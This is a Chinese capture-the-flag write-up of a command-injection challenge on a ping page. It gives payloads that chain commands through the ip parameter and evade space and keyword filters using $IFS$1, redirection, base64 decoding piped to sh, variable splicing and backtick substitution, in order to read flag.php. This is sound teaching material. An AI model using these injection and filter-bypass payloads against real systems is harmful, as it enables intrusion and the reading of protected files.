题目:
解题:
1:尝试传参ip=127.0.0.1
2:尝试查看目录内容
得到两个文件:flag.php,index.php
3:尝试查看文件内容
输入:/?ip=127.0.0.1;cat flag.php
猜测空格被过滤。
4:绕过空格过滤
空格绕过处理:
(1)$IFS、${IFS}、$IFS$n替换
在shell中,环境变量$IFS(Internal Field Seprator,内部域分隔符)用于内部字段分隔。$IFS默认为空白(空格、制表符、换行符)。
可用$IFS变量代替空格,变量名通常用{}括上,不然在cat$IFSindex.php中就会把$IFSindex当做变量而出错,要改为cat${IFS}index.php。
可用$IFS$n代替空格,n为1.2.3...都可以,暂时未理解。可通过语句 echo $IFS | hexdump -C 查看环境变量$IFS、${IFS}、$IFS$n的值。默认值为20 09 0a 00 0a 分别代表:空格 \t \n \0 \n。
(2)重定向符<、<>
Linux Shell 重定向分为两种,一种输入重定向,一种是输出重定向。从字面上理解,输入输出重定向就是“改变输入与输出的方向”的意思。那么,什么是输入输出方向呢?标准的输入输出方向又是什么呢?
标准的输入方向:从键盘读取用户输入的数据,然后再把数据拿到程序(C语言程序、Shell 脚本程序等)中使用,这就是标准的输入方向,也就是从键盘到程序。
标准的输出方向:程序中产生的数据,直接呈现到显示器上,这就是标准的输出方向,也就是从程序到显示器。
输入输出方向就是数据的流动方向:输入方向就是数据从哪里流向程序。数据默认从键盘流向程序,如果改变了它的方向,数据就从其它地方流入,这就是输入重定向。输出方向就是数据从程序流向哪里。数据默认从程序流向显示器,如果改变了它的方向,数据就流向其它地方,这就是输出重定向。
符号 作用 命令 < 文件 将文件作为命令的标准输入 命令 << 分解符 从标准输入中读入,直到遇到分界符停止 命令 < 文件1 >文件2 将文件1作为命令的标准输入,并将标准输出到文件2 命令 > 文件 将标准输出重定向到文件中(清除原有文件中的数据) 命令 2> 文件 将错误输出重定向到文件中(清除原有文件中的数据) 命令 >> 文件 将标准输出重定向到文件中(在原有的内容后追加) 命令 2>> 文件 将错误输出重定向到文件中(在原有内容后面追加) 经过测试只有部分命令可用<、<>代替空格。可行命令:cat、more等这类查看命令。
cat<file:file作为cat命令的输入,也就等价于cat file。
cat<>file:file作为cat命令的输入,cat file输出的内容再重定向到file中,用file中的数据覆盖原file数据,也就没改变file数据。
4.1:尝试用${IFS}代替空格
输入:/?ip=127.0.0.1;cat${IFS}flag.php,得到:
可猜测{}也被过滤了。
4.2:尝试用$IFS$1代替空格
输入:/?ip=127.0.0.1;cat$IFS$1flag.php,得到:
可猜测flag也被过滤了。
4.3:尝试查看index.php
输入:/?ip=127.0.0.1;cat$IFS$1index.php,得到:
发现代码不完整,F12查看得到:
原来是隐藏了。由此可知,{、}、flag确实被过滤了。
5:绕过flag过滤
5.1: base64编码绕过
(1)将cat flag.php用base64编码:
(2)用管道符 | 连接
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
管道符 | 原理参考文章:https://blog.csdn.net/Ethan552525/article/details/119141377
输入:/?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh,得到:
没有报错,但是没有flag,F12查看得到flag。
5.2:变量拼接
将flag错开就可以绕过flag过滤。
输入:?ip=127.0.0.1;a=f;d=ag;c=l;cat$IFS$a$c$d.php
5.3:内敛绕过
将ls命令的输出作为cat命令的输入。
输入:?ip=127.0.0.1;cat$IFS$1`ls`
反引号``内的语句作为命令先于cat执行,然后将执行结果作为cat命令的输入。